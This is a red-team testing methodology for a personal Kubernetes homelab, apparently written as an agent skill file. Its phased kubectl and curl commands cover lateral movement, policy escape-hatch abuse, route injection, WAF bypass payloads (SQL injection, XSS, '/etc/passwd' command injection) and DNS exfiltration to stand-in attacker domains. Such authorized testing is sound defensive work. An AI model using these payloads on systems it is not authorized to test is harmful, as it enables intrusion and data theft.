Security Testing Methodology

Attack Surface Overview

This homelab has six primary attack layers. See references/attack-surface.md for the full inventory of known weaknesses per layer.

Phase 1: Network Policy Testing

1.1 Intra-Namespace Lateral Movement

The baseline-intra-namespace CCNP allows free communication within any namespace. Prove lateral movement:

# Deploy a test pod in a multi-service namespace
KUBECONFIG=~/.kube/dev.yaml kubectl run sectest --image=nicolaka/netshoot -n <target-ns> -- sleep 3600

# From the test pod, scan all services in the namespace
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n <target-ns> sectest -- nmap -sT -p- <service-cluster-ip>

# Prove access to any port within the namespace
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n <target-ns> sectest -- curl -s http://<other-pod-ip>:<any-port>

Expected result: Full access to every pod and port within the same namespace.

1.2 Cross-Namespace Escape

Test profile boundaries — a pod in isolated should only reach DNS:

# Deploy in an isolated-profile namespace
KUBECONFIG=~/.kube/dev.yaml kubectl run sectest --image=nicolaka/netshoot -n <isolated-ns> -- sleep 3600

# Attempt cross-namespace reach (should be blocked)
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n <isolated-ns> sectest -- curl -s --connect-timeout 3 http://<pod-in-other-ns>:<port>

# Attempt internet egress (should be blocked — only DNS allowed)
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n <isolated-ns> sectest -- curl -s --connect-timeout 3 https://httpbin.org/ip

# DNS exfiltration test (always works — baseline allows DNS)
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n <isolated-ns> sectest -- nslookup exfil-test.attacker.example.com

1.3 Prometheus Label Impersonation

CRITICAL: The baseline-prometheus-scrape CCNP allows the Prometheus pod to reach ANY pod on ANY port with no toPorts restriction. Test if label matching is sufficient:

# Check what labels the scrape baseline matches on
KUBECONFIG=~/.kube/dev.yaml kubectl get ccnp baseline-prometheus-scrape -o yaml

# Deploy a pod with the Prometheus label in a test namespace
KUBECONFIG=~/.kube/dev.yaml kubectl run fake-prom --image=nicolaka/netshoot -n <test-ns> \
  --labels="app.kubernetes.io/name=prometheus" -- sleep 3600

# From fake-prom, attempt cross-namespace access
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n <test-ns> fake-prom -- curl -s --connect-timeout 3 http://<target-pod>:<port>

What to check: Does the CCNP use fromEndpoints with namespace scoping (e.g., io.kubernetes.pod.namespace: monitoring), or just label matching? If namespace-scoped, impersonation fails. If label-only, any pod with the right label bypasses network policies.

1.4 Escape Hatch Abuse

Test the RBAC requirements for triggering the escape hatch:

# Check who can label namespaces
KUBECONFIG=~/.kube/dev.yaml kubectl auth can-i update namespaces --as=system:serviceaccount:<ns>:<sa>

# List all ClusterRoleBindings that grant namespace update
KUBECONFIG=~/.kube/dev.yaml kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name | test("admin|edit|cluster-admin")) | {name: .metadata.name, subjects: .subjects}'

# If a SA has permission, test the escape hatch
KUBECONFIG=~/.kube/dev.yaml kubectl label namespace <test-ns> network-policy.homelab/enforcement=disabled

# Verify: all traffic now allowed
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n <test-ns> sectest -- curl -s --connect-timeout 3 http://<any-pod>:<any-port>

# CLEANUP: Re-enable immediately (alert fires at 5 minutes)
KUBECONFIG=~/.kube/dev.yaml kubectl label namespace <test-ns> network-policy.homelab/enforcement-

1.5 Gateway Route Injection

Both gateways have allowedRoutes.namespaces.from: All. Any namespace can attach an HTTPRoute:

# Create a rogue HTTPRoute exposing an internal service through the external gateway
cat <<'EOF' | KUBECONFIG=~/.kube/dev.yaml kubectl apply -f -
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: sectest-route-injection
  namespace: <test-ns>
spec:
  parentRefs:
    - name: external
      namespace: istio-gateway
  hostnames:
    - "sectest.dev.tomnowak.work"
  rules:
    - backendRefs:
        - name: <internal-service>
          port: <port>
EOF

# Test if the route is active
curl -k --resolve "sectest.dev.tomnowak.work:443:<external-ip>" https://sectest.dev.tomnowak.work/

# CLEANUP
KUBECONFIG=~/.kube/dev.yaml kubectl delete httproute sectest-route-injection -n <test-ns>

Phase 2: Authentication & WAF Testing

2.1 Coraza WAF Bypass (External Gateway)

The WAF runs OWASP CRS at Paranoia Level 1 (lowest). Test bypass techniques:

# Get the external gateway IP
EXTERNAL_IP=$(KUBECONFIG=~/.kube/dev.yaml kubectl get svc -n istio-gateway external -o jsonpath='{.status.loadBalancer.ingress[0].ip}')

# Basic SQL injection (should be blocked at PL1)
curl -k --resolve "vault.dev.tomnowak.work:443:${EXTERNAL_IP}" \
  "https://vault.dev.tomnowak.work/?id=1'+OR+1=1--"

# Double-encoding bypass attempt
curl -k --resolve "vault.dev.tomnowak.work:443:${EXTERNAL_IP}" \
  "https://vault.dev.tomnowak.work/?id=1%2527+OR+1%253D1--"

# Chunked transfer encoding (splits signature across chunks)
curl -k --resolve "vault.dev.tomnowak.work:443:${EXTERNAL_IP}" \
  -H "Transfer-Encoding: chunked" \
  -d $'3\r\nid=\r\n9\r\n1\' OR 1=\r\n2\r\n1-\r\n1\r\n-\r\n0\r\n\r\n' \
  "https://vault.dev.tomnowak.work/"

# JSON body (PL1 has limited JSON inspection)
curl -k --resolve "vault.dev.tomnowak.work:443:${EXTERNAL_IP}" \
  -H "Content-Type: application/json" \
  -d '{"search":"1\u0027 OR 1=1--"}' \
  "https://vault.dev.tomnowak.work/api/test"

# XSS via uncommon encoding
curl -k --resolve "vault.dev.tomnowak.work:443:${EXTERNAL_IP}" \
  "https://vault.dev.tomnowak.work/?q=%3Csvg%20onload%3Dalert(1)%3E"

# Command injection
curl -k --resolve "vault.dev.tomnowak.work:443:${EXTERNAL_IP}" \
  "https://vault.dev.tomnowak.work/?cmd=;cat+/etc/passwd"

2.2 WAF FAIL_OPEN Verification

The WAF uses failStrategy: FAIL_OPEN. If the WASM module is unavailable, all filtering stops:

# Check if the WasmPlugin is healthy
KUBECONFIG=~/.kube/dev.yaml kubectl get wasmplugin -n istio-gateway -o yaml

# Check if Coraza metrics are being emitted (absence = degraded/fail-open)
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n monitoring prometheus-kube-prometheus-stack-0 -c prometheus -- \
  wget -qO- 'http://localhost:9090/api/v1/query?query=coraza_waf_requests_total' | jq '.data.result | length'

# If length is 0, WAF may be in fail-open state — verify with a known-bad request

2.3 Vaultwarden Admin Panel Access

The HTTPRoute redirects /admin to /. Test bypass from within the cluster:

# Direct pod access (bypasses gateway entirely)
VW_POD=$(KUBECONFIG=~/.kube/dev.yaml kubectl get pods -n vaultwarden -l app.kubernetes.io/name=vaultwarden -o jsonpath='{.items[0].metadata.name}')
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n <test-ns> sectest -- curl -s -I http://${VW_POD_IP}:8080/admin

# Path variations against the gateway
curl -k --resolve "vault.dev.tomnowak.work:443:${EXTERNAL_IP}" -I "https://vault.dev.tomnowak.work/admin/"
curl -k --resolve "vault.dev.tomnowak.work:443:${EXTERNAL_IP}" -I "https://vault.dev.tomnowak.work/Admin"
curl -k --resolve "vault.dev.tomnowak.work:443:${EXTERNAL_IP}" -I "https://vault.dev.tomnowak.work/ADMIN"
curl -k --resolve "vault.dev.tomnowak.work:443:${EXTERNAL_IP}" -I "https://vault.dev.tomnowak.work//admin"
curl -k --resolve "vault.dev.tomnowak.work:443:${EXTERNAL_IP}" -I "https://vault.dev.tomnowak.work/admin?x=1"

2.4 OAuth2-Proxy Cookie Analysis

# Inspect cookie attributes from OAuth2-Proxy
curl -k --resolve "prometheus.internal.dev.tomnowak.work:443:<internal-ip>" \
  -c - "https://prometheus.internal.dev.tomnowak.work/" 2>/dev/null | grep oauth2

# Check cookie scope (domain, path, secure, httponly, samesite)
# 7-day expiry (168h) — can a captured cookie be replayed from a different client?

2.5 Authelia Brute Force Window

3 retries in 2 minutes, 5-minute ban. Test the boundaries:

# Is the ban per-IP or per-user?
# Test: Same user from different source IPs
# Test: Slow credential stuffing (1 attempt per 2 minutes stays under radar)
# Test: Does the ban apply to OIDC authorization flows or only direct login?

# Check Authelia regulation config
KUBECONFIG=~/.kube/dev.yaml kubectl get configmap -n authelia -o yaml | grep -A5 regulation

Phase 3: Privilege Escalation

3.1 Service Account Token Enumeration

# List all service accounts with automounted tokens
KUBECONFIG=~/.kube/dev.yaml kubectl get pods -A -o json | \
  jq '.items[] | select(.spec.automountServiceAccountToken != false) | {ns: .metadata.namespace, pod: .metadata.name, sa: .spec.serviceAccountName}'

# Check RBAC permissions for a specific service account
KUBECONFIG=~/.kube/dev.yaml kubectl auth can-i --list --as=system:serviceaccount:<ns>:<sa>

# Particularly interesting: homepage SA has cluster-wide read
KUBECONFIG=~/.kube/dev.yaml kubectl auth can-i --list --as=system:serviceaccount:homepage:homepage

3.2 Container Security Audit

# Find containers running as root
KUBECONFIG=~/.kube/dev.yaml kubectl get pods -A -o json | \
  jq '.items[] | .spec.containers[] | select(.securityContext.runAsUser == 0 or .securityContext.runAsNonRoot == false) | {pod: .name, user: .securityContext.runAsUser}'

# Find containers with elevated capabilities
KUBECONFIG=~/.kube/dev.yaml kubectl get pods -A -o json | \
  jq '.items[] | .spec.containers[] | select(.securityContext.capabilities.add != null) | {pod: .name, caps: .securityContext.capabilities.add}'

# Find containers with writable root filesystem
KUBECONFIG=~/.kube/dev.yaml kubectl get pods -A -o json | \
  jq '.items[] | .spec.containers[] | select(.securityContext.readOnlyRootFilesystem != true) | {pod: .name, readonly: .securityContext.readOnlyRootFilesystem}'

# Find pods opted out of Istio mesh (no mTLS)
KUBECONFIG=~/.kube/dev.yaml kubectl get pods -A -o json | \
  jq '.items[] | select(.metadata.annotations["istio.io/dataplane-mode"] == "none") | {ns: .metadata.namespace, pod: .metadata.name}'

3.3 Crown Jewel: AWS IAM Key

The external-secrets-access-key in kube-system is a static AWS IAM key with read access to all SSM parameters:

# Check if any non-system service account can read secrets in kube-system
KUBECONFIG=~/.kube/dev.yaml kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa>

# Check the External Secrets operator RBAC
KUBECONFIG=~/.kube/dev.yaml kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.subjects[]?.name | test("external-secrets")) | {name: .metadata.name, role: .roleRef.name}'

# What SSM paths does this key unlock?
# /homelab/kubernetes/${cluster_name}/* — includes Cloudflare API token, GitHub OAuth secrets,
# NordVPN credentials, Istio mesh CA private key

3.4 Garage S3 Admin API from Gateway

# The Garage admin API (port 3903) is accessible from istio-gateway namespace
# Deploy a test pod in the gateway namespace (if RBAC allows)
# Or check if the gateway pods themselves can reach it

KUBECONFIG=~/.kube/dev.yaml kubectl exec -n istio-gateway <gateway-pod> -- \
  curl -s --connect-timeout 3 http://garage.garage.svc.cluster.local:3903/health

# If reachable, try admin operations
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n istio-gateway <gateway-pod> -- \
  curl -s http://garage.garage.svc.cluster.local:3903/v1/status

Phase 4: Data Exfiltration Paths

4.1 DNS Tunneling (Universal)

Every pod can reach DNS. This is an always-available exfiltration channel:

# Prove DNS tunneling works even from isolated namespaces
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n <isolated-ns> sectest -- \
  nslookup $(echo "sensitive-data" | base64).exfil.example.com

# The query will fail to resolve, but the DNS query itself is the exfiltration
# Monitoring would need to watch for unusual DNS query patterns

4.2 Prometheus as Intelligence Source

# Service topology (who talks to whom)
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n monitoring prometheus-kube-prometheus-stack-0 -c prometheus -- \
  wget -qO- 'http://localhost:9090/api/v1/query?query=istio_requests_total' | jq '.data.result[] | {src: .metric.source_workload, dst: .metric.destination_workload}'

# Secret rotation timing
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n monitoring prometheus-kube-prometheus-stack-0 -c prometheus -- \
  wget -qO- 'http://localhost:9090/api/v1/query?query=certmanager_certificate_expiration_timestamp_seconds' | jq '.data.result'

# Node inventory with IPs
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n monitoring prometheus-kube-prometheus-stack-0 -c prometheus -- \
  wget -qO- 'http://localhost:9090/api/v1/query?query=kube_node_info' | jq '.data.result[] | .metric'

4.3 Log Injection via Loki

# Can any pod send logs to Loki? (monitoring CNP allows fromEntities: cluster on port 3100)
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n <any-ns> sectest -- \
  curl -s --connect-timeout 3 http://loki-headless.monitoring.svc.cluster.local:3100/ready

# If reachable, inject a crafted log entry
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n <any-ns> sectest -- \
  curl -s -X POST http://loki-headless.monitoring.svc.cluster.local:3100/loki/api/v1/push \
  -H "Content-Type: application/json" \
  -d '{"streams":[{"stream":{"job":"injected","namespace":"security-test"},"values":[["'$(date +%s)000000000'","SECURITY TEST: Log injection successful"]]}]}'

# Check if the injected log appears
# This proves any pod can write arbitrary log entries to Loki

Phase 5: Supply Chain

5.1 Flux Source Manipulation

# Check what Git/OCI sources Flux is watching
KUBECONFIG=~/.kube/dev.yaml flux get sources all

# Check GitHub token permissions (stored in flux-system namespace)
KUBECONFIG=~/.kube/dev.yaml kubectl get secret -n flux-system -o json | \
  jq '.items[] | select(.metadata.name | test("github|flux")) | .metadata.name'

# Check if webhook receivers are exposed
KUBECONFIG=~/.kube/dev.yaml kubectl get receivers -n flux-system

5.2 PXE Boot Attack Surface

# Check PXE boot server accessibility from pod network
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n <any-ns> sectest -- \
  curl -s --connect-timeout 3 http://pxe-boot.pxe-boot.svc.cluster.local/

# Check if iPXE menu is accessible
KUBECONFIG=~/.kube/dev.yaml kubectl exec -n <any-ns> sectest -- \
  curl -s --connect-timeout 3 http://pxe-boot.pxe-boot.svc.cluster.local/boot.ipxe

Test Resource Cleanup

Always clean up after testing. Run this after each session:

# Delete test pods
KUBECONFIG=~/.kube/dev.yaml kubectl delete pod sectest -n <ns> --ignore-not-found
KUBECONFIG=~/.kube/dev.yaml kubectl delete pod fake-prom -n <ns> --ignore-not-found

# Delete test HTTPRoutes
KUBECONFIG=~/.kube/dev.yaml kubectl delete httproute sectest-route-injection -n <ns> --ignore-not-found

# Re-enable network policy enforcement if disabled
KUBECONFIG=~/.kube/dev.yaml kubectl label namespace <ns> network-policy.homelab/enforcement- 2>/dev/null

# Verify no test resources remain
KUBECONFIG=~/.kube/dev.yaml kubectl get pods -A | grep sectest
KUBECONFIG=~/.kube/dev.yaml kubectl get httproute -A | grep sectest

Finding Severity Guide

Cross-References

• references/attack-surface.md — Full inventory of known attack surfaces
• network-policy SKILL — Cilium policy architecture and debugging
• gateway-routing SKILL — Gateway API, TLS, and WAF configuration
• sre SKILL — Kubernetes debugging methodology
• k8s SKILL — Cluster access and kubectl patterns

Keywords

security testing, red team, penetration testing, network policy evasion, WAF bypass, authentication bypass, privilege escalation, lateral movement, container escape, RBAC audit, credential theft, supply chain attack, DNS tunneling, log injection